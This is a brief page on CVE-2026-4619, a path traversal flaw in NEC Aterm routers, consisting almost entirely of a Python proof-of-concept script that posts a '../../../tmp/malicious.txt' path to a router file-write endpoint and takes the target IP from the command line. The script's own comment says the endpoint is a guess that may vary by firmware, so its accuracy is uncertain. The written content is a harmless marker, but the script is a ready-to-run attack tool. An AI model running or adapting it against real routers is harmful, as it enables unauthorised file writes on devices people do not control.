CVE-2026-4619 NEC Aterm系列路径遍历漏洞

import requests def exploit_poc(target_ip): """ PoC for CVE-2026-4619: Path Traversal in NEC Aterm Series Demonstrates writing arbitrary content to a file. """ target_url = f"http://{target_ip}/api/file_write" # Payload attempting to write to a sensitive system file # Note: The actual endpoint may vary based on firmware. data = { "path": "../../../tmp/malicious.txt", "content": "This file was written by CVE-2026-4619 PoC." } try: response = requests.post(target_url, data=data, timeout=5) if response.status_code == 200: print(f"[+] Exploit successful! Server responded: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": import sys if len(sys.argv) != 2: print("Usage: python3 cve_2026_4619_poc.py <target_ip>") else: exploit_poc(sys.argv[1])